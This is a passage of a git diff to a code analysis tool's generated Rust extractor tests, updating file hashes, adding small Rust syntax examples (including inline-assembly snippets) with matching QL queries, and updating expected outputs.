-StmtList/gen_stmt_list.rs bb3791a613b91a2086c19cb0eddbf978bb37bbb2bd79d3e61b40be35c71daaad bb3791a613b91a2086c19cb0eddbf978bb37bbb2bd79d3e61b40be35c71daaad -Struct/gen_struct.rs 09c5c164d7c8a3991fad1a118d66c12c24d2ebf30fbea6205f7690ca9f24dbb2 09c5c164d7c8a3991fad1a118d66c12c24d2ebf30fbea6205f7690ca9f24dbb2 +SliceTypeRepr/gen_slice_type_repr.rs 4a85402d40028c5a40ef35018453a89700b2171bc62fd86587378484831b969f 4a85402d40028c5a40ef35018453a89700b2171bc62fd86587378484831b969f +SourceFile/gen_source_file.rs c0469cc8f0ecce3dd2e77963216d7e8808046014533359a44c1698e48783b420 c0469cc8f0ecce3dd2e77963216d7e8808046014533359a44c1698e48783b420 +Static/gen_static.rs 21314018ea184c1ddcb594d67bab97ae18ceaf663d9f120f39ff755d389dde7a 21314018ea184c1ddcb594d67bab97ae18ceaf663d9f120f39ff755d389dde7a +StmtList/gen_stmt_list.rs adbd82045a50e2051434ce3cdd524c9f2c6ad9f3dd02b4766fb107e2e99212db adbd82045a50e2051434ce3cdd524c9f2c6ad9f3dd02b4766fb107e2e99212db +Struct/gen_struct.rs 5e181e90075f716c04c75e4ef0334abe3d5f419cd9ccfadfe595c09fab33566b 5e181e90075f716c04c75e4ef0334abe3d5f419cd9ccfadfe595c09fab33566b StructExpr/gen_struct_expr.rs 8dd9a578625a88623c725b8afdfd8b636e1c3c991fe96c55b24d4b283d2212fb 8dd9a578625a88623c725b8afdfd8b636e1c3c991fe96c55b24d4b283d2212fb StructExprField/gen_struct_expr_field.rs 4ccca8e8ad462b4873f5604f0afdd1836027b8d39e36fbe7d6624ef3e744a084 4ccca8e8ad462b4873f5604f0afdd1836027b8d39e36fbe7d6624ef3e744a084 -StructExprFieldList/gen_struct_expr_field_list.rs 30a48484dbeca1fd8ead4b7b80f97bd583259e35dce2b590329c86a2d0e152de 30a48484dbeca1fd8ead4b7b80f97bd583259e35dce2b590329c86a2d0e152de -StructField/gen_struct_field.rs 024d30845e244dd535dfb6c30f16de0eec5acd3a257110eeffd260ec82f9edb2 024d30845e244dd535dfb6c30f16de0eec5acd3a257110eeffd260ec82f9edb2 -StructFieldList/gen_struct_field_list.rs 9ee6167b3b2edd2ad49f8fe02d6ef67fb1dacf6807014a6a16597d2f40d3bbae 9ee6167b3b2edd2ad49f8fe02d6ef67fb1dacf6807014a6a16597d2f40d3bbae +StructExprFieldList/gen_struct_expr_field_list.rs bc17e356690cfb1cd51f7dbe5ac88c0b9188c9bf94b9e3cc82581120190f33dc bc17e356690cfb1cd51f7dbe5ac88c0b9188c9bf94b9e3cc82581120190f33dc +StructField/gen_struct_field.rs 0884e458732ab74b4c7debee4fbef014f847815be5a6ddeba467844d33607c6e 0884e458732ab74b4c7debee4fbef014f847815be5a6ddeba467844d33607c6e +StructFieldList/gen_struct_field_list.rs 3c24edef6a92a1b7bb785012d1e53eb69197fb6ba3d4dfdcd43f901acdb7f51a 3c24edef6a92a1b7bb785012d1e53eb69197fb6ba3d4dfdcd43f901acdb7f51a StructPat/gen_struct_pat.rs 3f972ff8a76acb61ef48bdea92d2fac8b1005449d746e6188fd5486b1f542e5c 3f972ff8a76acb61ef48bdea92d2fac8b1005449d746e6188fd5486b1f542e5c StructPatField/gen_struct_pat_field.rs dfdab8cef7dcfee40451744c8d2c7c4ae67fdb8bd054b894c08d62997942f364 dfdab8cef7dcfee40451744c8d2c7c4ae67fdb8bd054b894c08d62997942f364 -StructPatFieldList/gen_struct_pat_field_list.rs 92490d79c975d25fd0d2e4a830a80abd896c5eb3b30fc54a3b386603ff09d693 92490d79c975d25fd0d2e4a830a80abd896c5eb3b30fc54a3b386603ff09d693 -TokenTree/gen_token_tree.rs dde6595ee4e8f3fcdecfb054438b08e1a7db10d83d9fff121794df814c7aee0e dde6595ee4e8f3fcdecfb054438b08e1a7db10d83d9fff121794df814c7aee0e +StructPatFieldList/gen_struct_pat_field_list.rs 06c0e56c78a6b28909d94d9519ba41ac8a6005741f82b947ef14db51e8cbebd0 06c0e56c78a6b28909d94d9519ba41ac8a6005741f82b947ef14db51e8cbebd0 +TokenTree/gen_token_tree.rs 3fdc9a36a1870bb2bedf66c8fe37d368f4ac18488e7118b86e3979d3957a8f94 3fdc9a36a1870bb2bedf66c8fe37d368f4ac18488e7118b86e3979d3957a8f94 Trait/gen_trait.rs bac694993e224f9c6dd86cfb28c54846ae1b3bae45a1e58d3149c884184487ea bac694993e224f9c6dd86cfb28c54846ae1b3bae45a1e58d3149c884184487ea -TraitAlias/gen_trait_alias.rs c0c2d370674a20173db33e118e011328a880ba8ab42788ca735bb3d80b4b64a8 c0c2d370674a20173db33e118e011328a880ba8ab42788ca735bb3d80b4b64a8 -TryExpr/gen_try_expr.rs 2c7d8a5f3d65a084b645b5e4659fbbd3fbe65994fed1e6474ebd83df06f8d725 2c7d8a5f3d65a084b645b5e4659fbbd3fbe65994fed1e6474ebd83df06f8d725 +TraitAlias/gen_trait_alias.rs 425d78a7cb87db7737ceaf713c9a62e0411537374d1bc58c5b1fb80cc25732c9 425d78a7cb87db7737ceaf713c9a62e0411537374d1bc58c5b1fb80cc25732c9 +TryExpr/gen_try_expr.rs f60198181a423661f4ed1bf6f98d475f40ada190b7b5fc6af97aa5e45ca29a1e f60198181a423661f4ed1bf6f98d475f40ada190b7b5fc6af97aa5e45ca29a1e TupleExpr/gen_tuple_expr.rs 8ecd1b6ecc58a0319eed434a423cc6f41bdf1901b1950e6e79735d7f7b2f8374 8ecd1b6ecc58a0319eed434a423cc6f41bdf1901b1950e6e79735d7f7b2f8374 -TupleField/gen_tuple_field.rs 8a77f7f1c2e4ac4374a147c27db7789e80496b5a405fd9cc3341f764a2136c38 8a77f7f1c2e4ac4374a147c27db7789e80496b5a405fd9cc3341f764a2136c38 -TupleFieldList/gen_tuple_field_list.rs d2a5151b413be3edbf093c4f47a8d57945e794d399378971940f6a5c65d4c223 d2a5151b413be3edbf093c4f47a8d57945e794d399378971940f6a5c65d4c223 +TupleField/gen_tuple_field.rs 5d6b4f356af895541f975cc1fd90116fd047fe914c2049d47f61e4a43a8c2af4 5d6b4f356af895541f975cc1fd90116fd047fe914c2049d47f61e4a43a8c2af4 +TupleFieldList/gen_tuple_field_list.rs 42f0af8c391fb9e33fe09b791e0e719cadf5143b58764f8a5d38f8d9054daca7 42f0af8c391fb9e33fe09b791e0e719cadf5143b58764f8a5d38f8d9054daca7 TuplePat/gen_tuple_pat.rs b1b0c9c5ff1b787f380644691c77807655a4f6441fc7431c90ecf78c54c26148 b1b0c9c5ff1b787f380644691c77807655a4f6441fc7431c90ecf78c54c26148 TupleStructPat/gen_tuple_struct_pat.rs 601ca8813272d15b4c8fd7402d0d28a42a62be82865eb5e86b985ad31464ca98 601ca8813272d15b4c8fd7402d0d28a42a62be82865eb5e86b985ad31464ca98 -TupleTypeRepr/gen_tuple_type_repr.rs 4ce074df3739c7614eae850d54d28f0ee4869d64ccc5736c5b73bed7800a0470 4ce074df3739c7614eae850d54d28f0ee4869d64ccc5736c5b73bed7800a0470 +TupleTypeRepr/gen_tuple_type_repr.rs 64873a6a1cd5df6cd10165d7e9fa0399902b6bfbac086ef3a7ce83237b816879 64873a6a1cd5df6cd10165d7e9fa0399902b6bfbac086ef3a7ce83237b816879 TypeAlias/gen_type_alias.rs da2b959f1a2a4f5471c231025404ca82a1bc79ac68adcda5a67292c428ad6143 da2b959f1a2a4f5471c231025404ca82a1bc79ac68adcda5a67292c428ad6143 -TypeArg/gen_type_arg.rs 11e024708429bb683adc848d0be168cd9d190793833880e6ec74139df296e818 11e024708429bb683adc848d0be168cd9d190793833880e6ec74139df296e818 -TypeBound/gen_type_bound.rs 4198346113b075812f79858ccbd467339d6b8039a449bd58c4710dd0aba1c9c1 4198346113b075812f79858ccbd467339d6b8039a449bd58c4710dd0aba1c9c1 -TypeBoundList/gen_type_bound_list.rs bf70e31e5908e0eea6cdb4354ae78fc6ee1077b193409e741cac9b5d93d5deb2 bf70e31e5908e0eea6cdb4354ae78fc6ee1077b193409e741cac9b5d93d5deb2 -TypeParam/gen_type_param.rs 31c02d18020b305f1c37fdeb97656dd5b1e49e6b9a072329c2f099c55a06e3b7 31c02d18020b305f1c37fdeb97656dd5b1e49e6b9a072329c2f099c55a06e3b7 +TypeArg/gen_type_arg.rs a0e455d7173b51330db63f1b7ac9c5d4263d33b3a115f97a8167d4dcc42469ff a0e455d7173b51330db63f1b7ac9c5d4263d33b3a115f97a8167d4dcc42469ff +TypeBound/gen_type_bound.rs 7487ae3fd7c3a481efe96ce7894fc974b96276ecd78e0ccb141c698b5c6f5eaa 7487ae3fd7c3a481efe96ce7894fc974b96276ecd78e0ccb141c698b5c6f5eaa +TypeBoundList/gen_type_bound_list.rs f61e80667385f6e8f51452a401d355b8939dbb1e1a7d3a506023639cb387bfbd f61e80667385f6e8f51452a401d355b8939dbb1e1a7d3a506023639cb387bfbd +TypeParam/gen_type_param.rs 00b92ac7042ae83be1e37cd22f6d02098ca3157dc1ef45fbdf3b5f252ea6a8de 00b92ac7042ae83be1e37cd22f6d02098ca3157dc1ef45fbdf3b5f252ea6a8de UnderscoreExpr/gen_underscore_expr.rs fe34e99d322bf86c0f5509c9b5fd6e1e8abbdf63dbe7e01687344a41e9aabe52 fe34e99d322bf86c0f5509c9b5fd6e1e8abbdf63dbe7e01687344a41e9aabe52 -Union/gen_union.rs d5e814688e93dcb105f29a392159c1b995ee15a74720167219f9431db8ef70a3 d5e814688e93dcb105f29a392159c1b995ee15a74720167219f9431db8ef70a3 -Use/gen_use.rs 2a0ea9fa34d844fda63e8f605f6a951e8b272d63ebfb0ae501fc734559a83a6b 2a0ea9fa34d844fda63e8f605f6a951e8b272d63ebfb0ae501fc734559a83a6b -UseTree/gen_use_tree.rs bf7525e8641a5a90a7e07214e7480b6507737cf60f9bd4d8b82bc71a8b9d7e8d bf7525e8641a5a90a7e07214e7480b6507737cf60f9bd4d8b82bc71a8b9d7e8d -UseTreeList/gen_use_tree_list.rs ba450699782e51b1d3139148709827e35f2e57235849fb26a073e2786dfc53e3 ba450699782e51b1d3139148709827e35f2e57235849fb26a073e2786dfc53e3 -Variant/gen_variant.rs 036566793ee468418f915974e2925d8bafaec3c93c2463212f222e6a5f290f24 036566793ee468418f915974e2925d8bafaec3c93c2463212f222e6a5f290f24 -VariantList/gen_variant_list.rs 932b67564c5ef4116d84db6945e098f6d7438755d99fc198fde8f4527979bf00 932b67564c5ef4116d84db6945e098f6d7438755d99fc198fde8f4527979bf00 -Visibility/gen_visibility.rs 6f5ca31d3593643eb0ff2be9b191619d3d8c3a4aa0093293ae2bdc299421ce60 6f5ca31d3593643eb0ff2be9b191619d3d8c3a4aa0093293ae2bdc299421ce60 -WhereClause/gen_where_clause.rs bdfb67817b24df5d33080825320f07574e57f1a950a4505a79c2cbd6967fb882 bdfb67817b24df5d33080825320f07574e57f1a950a4505a79c2cbd6967fb882 -WherePred/gen_where_pred.rs d127641a319766500581898c09b7d00be34c686670cb860022dc0f7f52f50137 d127641a319766500581898c09b7d00be34c686670cb860022dc0f7f52f50137 -WhileExpr/gen_while_expr.rs 81c9082bcba72c6a89d6f4cbdb456ccc521be64fd554755924dbd3bbe6dcdf6d 81c9082bcba72c6a89d6f4cbdb456ccc521be64fd554755924dbd3bbe6dcdf6d +Union/gen_union.rs 0adc276bf324661137b4de7c4522afd5f7b2776e913c4a6ecc580ce3d753a51d 0adc276bf324661137b4de7c4522afd5f7b2776e913c4a6ecc580ce3d753a51d +Use/gen_use.rs 3a8a426109080ce2a0ed5a68a83cfa195196c9f0a14eff328b7be54d1131eede 3a8a426109080ce2a0ed5a68a83cfa195196c9f0a14eff328b7be54d1131eede +UseBoundGenericArgs/gen_use_bound_generic_args.rs 1da801583b77f5f064d729a1d4313a863f1ad2e1dcc11c963194839cba977367 1da801583b77f5f064d729a1d4313a863f1ad2e1dcc11c963194839cba977367 +UseTree/gen_use_tree.rs 90660192ec361e96d0fee9dc03c34fcdf0a102269df33be45856c63ad5d18ff2 90660192ec361e96d0fee9dc03c34fcdf0a102269df33be45856c63ad5d18ff2 +UseTreeList/gen_use_tree_list.rs 2494aadcec03a3f7a6e2ae448ee70ec6774f840e9519c668b2afe8cd968211c9 2494aadcec03a3f7a6e2ae448ee70ec6774f840e9519c668b2afe8cd968211c9 +Variant/gen_variant.rs fa3d3a9e3e0c3aa565b965fad9c3dc2ffd5a8d82963e3a55a9acbb0f14b603d6 fa3d3a9e3e0c3aa565b965fad9c3dc2ffd5a8d82963e3a55a9acbb0f14b603d6 +VariantList/gen_variant_list.rs a1faa4d59b072f139d14cb8a6d63a0ce8c473170d6320a07ce6bb9d517f8486d a1faa4d59b072f139d14cb8a6d63a0ce8c473170d6320a07ce6bb9d517f8486d +Visibility/gen_visibility.rs cfa4b05fa7ba7c4ffa8f9c880b13792735e4f7e92a648f43110e914075e97a52 cfa4b05fa7ba7c4ffa8f9c880b13792735e4f7e92a648f43110e914075e97a52 +WhereClause/gen_where_clause.rs 22522c933be47f8f7f9d0caddfa41925c08df343c564baad2fe2daa14f1bfb1a 22522c933be47f8f7f9d0caddfa41925c08df343c564baad2fe2daa14f1bfb1a +WherePred/gen_where_pred.rs dbc7bf0f246a04b42783f910c6f09841393f0e0a78f0a584891a99d0cf461619 dbc7bf0f246a04b42783f910c6f09841393f0e0a78f0a584891a99d0cf461619 +WhileExpr/gen_while_expr.rs 97276c5946a36001638491c99a36170d22bc6011c5e59f621b37c7a2d7737879 97276c5946a36001638491c99a36170d22bc6011c5e59f621b37c7a2d7737879 WildcardPat/gen_wildcard_pat.rs f1b175eeb3a0fc32bbcfb70a207be33dfde51a7d5198f72b8e08948f0d43e3dc f1b175eeb3a0fc32bbcfb70a207be33dfde51a7d5198f72b8e08948f0d43e3dc YeetExpr/gen_yeet_expr.rs c243b785a2cbd941bcec23dafc23ffbc64b93cf2843b6ede9783cdb81fed439d c243b785a2cbd941bcec23dafc23ffbc64b93cf2843b6ede9783cdb81fed439d YieldExpr/gen_yield_expr.rs 20f607719ff90bbcd831fe48a530400d0774394867ae65618cd1671d638f853e 20f607719ff90bbcd831fe48a530400d0774394867ae65618cd1671d638f853e diff --git a/rust/ql/test/extractor-tests/generated/.gitattributes b/rust/ql/test/extractor-tests/generated/.gitattributes index 9452518fe36..dd1c891195e 100644 --- a/rust/ql/test/extractor-tests/generated/.gitattributes +++ b/rust/ql/test/extractor-tests/generated/.gitattributes @@ -5,7 +5,18 @@ /ArrayListExpr/gen_array_list_expr.rs linguist-generated /ArrayRepeatExpr/gen_array_repeat_expr.rs linguist-generated /ArrayTypeRepr/gen_array_type_repr.rs linguist-generated +/AsmClobberAbi/gen_asm_clobber_abi.rs linguist-generated +/AsmConst/gen_asm_const.rs linguist-generated +/AsmDirSpec/gen_asm_dir_spec.rs linguist-generated /AsmExpr/gen_asm_expr.rs linguist-generated +/AsmLabel/gen_asm_label.rs linguist-generated +/AsmOperandExpr/gen_asm_operand_expr.rs linguist-generated +/AsmOperandNamed/gen_asm_operand_named.rs linguist-generated +/AsmOption/gen_asm_option.rs linguist-generated +/AsmOptionsList/gen_asm_options_list.rs linguist-generated +/AsmRegOperand/gen_asm_reg_operand.rs linguist-generated +/AsmRegSpec/gen_asm_reg_spec.rs linguist-generated +/AsmSym/gen_asm_sym.rs linguist-generated /AssocTypeArg/gen_assoc_type_arg.rs linguist-generated /Attr/gen_attr.rs linguist-generated /AwaitExpr/gen_await_expr.rs linguist-generated @@ -83,6 +94,7 @@ /ParenExpr/gen_paren_expr.rs linguist-generated /ParenPat/gen_paren_pat.rs linguist-generated /ParenTypeRepr/gen_paren_type_repr.rs linguist-generated +/ParenthesizedArgList/gen_parenthesized_arg_list.rs linguist-generated /Path/gen_path.rs linguist-generated /Path/gen_path_expr.rs linguist-generated /Path/gen_path_pat.rs linguist-generated @@ -132,6 +144,7 @@ /UnderscoreExpr/gen_underscore_expr.rs linguist-generated /Union/gen_union.rs linguist-generated /Use/gen_use.rs linguist-generated +/UseBoundGenericArgs/gen_use_bound_generic_args.rs linguist-generated /UseTree/gen_use_tree.rs linguist-generated /UseTreeList/gen_use_tree_list.rs linguist-generated /Variant/gen_variant.rs linguist-generated diff --git a/rust/ql/test/extractor-tests/generated/Abi/Abi.expected b/rust/ql/test/extractor-tests/generated/Abi/Abi.expected index e69de29bb2d..1184fc0e374 100644 --- a/rust/ql/test/extractor-tests/generated/Abi/Abi.expected +++ b/rust/ql/test/extractor-tests/generated/Abi/Abi.expected @@ -0,0 +1 @@ +| gen_abi.rs:7:5:7:14 | Abi | hasAbiString: | yes | diff --git a/rust/ql/test/extractor-tests/generated/Abi/Abi_getAbiString.expected b/rust/ql/test/extractor-tests/generated/Abi/Abi_getAbiString.expected index e69de29bb2d..278aa2d8325 100644 --- a/rust/ql/test/extractor-tests/generated/Abi/Abi_getAbiString.expected +++ b/rust/ql/test/extractor-tests/generated/Abi/Abi_getAbiString.expected @@ -0,0 +1 @@ +| gen_abi.rs:7:5:7:14 | Abi | "C" | diff --git a/rust/ql/test/extractor-tests/generated/Abi/gen_abi.rs b/rust/ql/test/extractor-tests/generated/Abi/gen_abi.rs index 01c614999d0..6f04b2640f1 100644 --- a/rust/ql/test/extractor-tests/generated/Abi/gen_abi.rs +++ b/rust/ql/test/extractor-tests/generated/Abi/gen_abi.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_abi() -> () { - // A Abi. For example: - todo!() + // An ABI specification for an extern function or block. + // + // For example: + extern "C" fn foo() {} + // ^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ArgList/ArgList.expected b/rust/ql/test/extractor-tests/generated/ArgList/ArgList.expected index 883d8f2a698..86eca9460ef 100644 --- a/rust/ql/test/extractor-tests/generated/ArgList/ArgList.expected +++ b/rust/ql/test/extractor-tests/generated/ArgList/ArgList.expected @@ -1 +1 @@ -| gen_arg_list.rs:5:5:5:11 | ArgList | getNumberOfArgs: | 1 | +| gen_arg_list.rs:7:8:7:16 | ArgList | getNumberOfArgs: | 3 | diff --git a/rust/ql/test/extractor-tests/generated/ArgList/ArgList_getArg.expected b/rust/ql/test/extractor-tests/generated/ArgList/ArgList_getArg.expected index 9bbaa63495c..2cfb771d6cb 100644 --- a/rust/ql/test/extractor-tests/generated/ArgList/ArgList_getArg.expected +++ b/rust/ql/test/extractor-tests/generated/ArgList/ArgList_getArg.expected @@ -1 +1,3 @@ -| gen_arg_list.rs:5:5:5:11 | ArgList | 0 | gen_arg_list.rs:5:5:5:11 | "not yet implemented" | +| gen_arg_list.rs:7:8:7:16 | ArgList | 0 | gen_arg_list.rs:7:9:7:9 | 1 | +| gen_arg_list.rs:7:8:7:16 | ArgList | 1 | gen_arg_list.rs:7:12:7:12 | 2 | +| gen_arg_list.rs:7:8:7:16 | ArgList | 2 | gen_arg_list.rs:7:15:7:15 | 3 | diff --git a/rust/ql/test/extractor-tests/generated/ArgList/gen_arg_list.rs b/rust/ql/test/extractor-tests/generated/ArgList/gen_arg_list.rs index 2cfe6d29c0d..25c1ea915ce 100644 --- a/rust/ql/test/extractor-tests/generated/ArgList/gen_arg_list.rs +++ b/rust/ql/test/extractor-tests/generated/ArgList/gen_arg_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_arg_list() -> () { - // A ArgList. For example: - todo!() + // A list of arguments in a function or method call. + // + // For example: + foo(1, 2, 3); + // ^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr.expected index e69de29bb2d..b19154aca0b 100644 --- a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr.expected @@ -0,0 +1 @@ +| gen_array_type_repr.rs:7:14:7:21 | ArrayTypeRepr | hasConstArg: | yes | hasElementTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getConstArg.expected b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getConstArg.expected index e69de29bb2d..9ab029133f6 100644 --- a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getConstArg.expected +++ b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getConstArg.expected @@ -0,0 +1 @@ +| gen_array_type_repr.rs:7:14:7:21 | ArrayTypeRepr | gen_array_type_repr.rs:7:20:7:20 | ConstArg | diff --git a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getElementTypeRepr.expected b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getElementTypeRepr.expected index e69de29bb2d..86b22f2f39d 100644 --- a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getElementTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getElementTypeRepr.expected @@ -0,0 +1 @@ +| gen_array_type_repr.rs:7:14:7:21 | ArrayTypeRepr | gen_array_type_repr.rs:7:15:7:17 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/gen_array_type_repr.rs b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/gen_array_type_repr.rs index 118b0286034..76e7d3def64 100644 --- a/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/gen_array_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/ArrayTypeRepr/gen_array_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_array_type_repr() -> () { - // A ArrayTypeRepr. For example: - todo!() + // An array type representation. + // + // For example: + let arr: [i32; 4]; + // ^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.expected b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.expected new file mode 100644 index 00000000000..10f3409cc79 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.expected @@ -0,0 +1 @@ +| gen_asm_clobber_abi.rs:8:14:8:29 | AsmClobberAbi | diff --git a/rust/ql/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.ql b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.ql new file mode 100644 index 00000000000..087663779db --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmClobberAbi x +where toBeTested(x) and not x.isUnknown() +select x diff --git a/rust/ql/test/extractor-tests/generated/AsmClobberAbi/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3..00000000000 --- a/rust/ql/test/extractor-tests/generated/AsmClobberAbi/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmClobberAbi/gen_asm_clobber_abi.rs b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/gen_asm_clobber_abi.rs new file mode 100644 index 00000000000..f260f1359e5 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/gen_asm_clobber_abi.rs @@ -0,0 +1,10 @@ +// generated by codegen, do not edit + +fn test_asm_clobber_abi() -> () { + // A clobbered ABI in an inline assembly block. + // + // For example: + use core::arch::asm; + asm!("", clobber_abi("C")); + // ^^^^^^^^^^^^^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst.expected b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst.expected new file mode 100644 index 00000000000..5a82c38127c --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst.expected @@ -0,0 +1 @@ +| gen_asm_const.rs:8:30:8:37 | AsmConst | hasExpr: | yes | isConst: | yes | diff --git a/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst.ql b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst.ql new file mode 100644 index 00000000000..151d7a70fa2 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst.ql @@ -0,0 +1,11 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmConst x, string hasExpr, string isConst +where + toBeTested(x) and + not x.isUnknown() and + (if x.hasExpr() then hasExpr = "yes" else hasExpr = "no") and + if x.isConst() then isConst = "yes" else isConst = "no" +select x, "hasExpr:", hasExpr, "isConst:", isConst diff --git a/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.expected b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.expected new file mode 100644 index 00000000000..f1bb1ffc053 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.expected @@ -0,0 +1 @@ +| gen_asm_const.rs:8:30:8:37 | AsmConst | gen_asm_const.rs:8:36:8:37 | 42 | diff --git a/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.ql b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.ql new file mode 100644 index 00000000000..e01d9d86fbe --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmConst x +where toBeTested(x) and not x.isUnknown() +select x, x.getExpr() diff --git a/rust/ql/test/extractor-tests/generated/AsmConst/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmConst/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3..00000000000 --- a/rust/ql/test/extractor-tests/generated/AsmConst/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmConst/gen_asm_const.rs b/rust/ql/test/extractor-tests/generated/AsmConst/gen_asm_const.rs new file mode 100644 index 00000000000..5002ebeb0fb --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmConst/gen_asm_const.rs @@ -0,0 +1,10 @@ +// generated by codegen, do not edit + +fn test_asm_const() -> () { + // A constant operand in an inline assembly block. + // + // For example: + use core::arch::asm; + asm!("mov eax, {const}", const 42); + // ^^^^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.expected b/rust/ql/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.expected new file mode 100644 index 00000000000..977c8504c0e --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.expected @@ -0,0 +1,2 @@ +| gen_asm_dir_spec.rs:8:47:8:49 | AsmDirSpec | +| gen_asm_dir_spec.rs:8:67:8:68 | AsmDirSpec | diff --git a/rust/ql/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.ql b/rust/ql/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.ql new file mode 100644 index 00000000000..0d009492422 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmDirSpec x +where toBeTested(x) and not x.isUnknown() +select x diff --git a/rust/ql/test/extractor-tests/generated/AsmDirSpec/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmDirSpec/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3..00000000000 --- a/rust/ql/test/extractor-tests/generated/AsmDirSpec/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmDirSpec/gen_asm_dir_spec.rs b/rust/ql/test/extractor-tests/generated/AsmDirSpec/gen_asm_dir_spec.rs new file mode 100644 index 00000000000..7e5191018f1 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmDirSpec/gen_asm_dir_spec.rs @@ -0,0 +1,10 @@ +// generated by codegen, do not edit + +fn test_asm_dir_spec() -> () { + // An inline assembly direction specifier. + // + // For example: + use core::arch::asm; + asm!("mov {input:x}, {input:x}", output = out(reg) x, input = in(reg) y); + // ^^^ ^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr.expected b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr.expected index 05fcb479b68..3a039fe43fe 100644 --- a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr.expected +++ b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr.expected @@ -1 +1 @@ -| gen_asm_expr.rs:6:9:6:24 | AsmExpr | getNumberOfAsmPieces: | 0 | getNumberOfAttrs: | 0 | getNumberOfTemplates: | 1 | +| gen_asm_expr.rs:6:9:7:59 | AsmExpr | getNumberOfAsmPieces: | 2 | getNumberOfAttrs: | 1 | getNumberOfTemplates: | 1 | diff --git a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAsmPiece.expected b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getAsmPiece.expected index e69de29bb2d..449113ff8fa 100644 --- 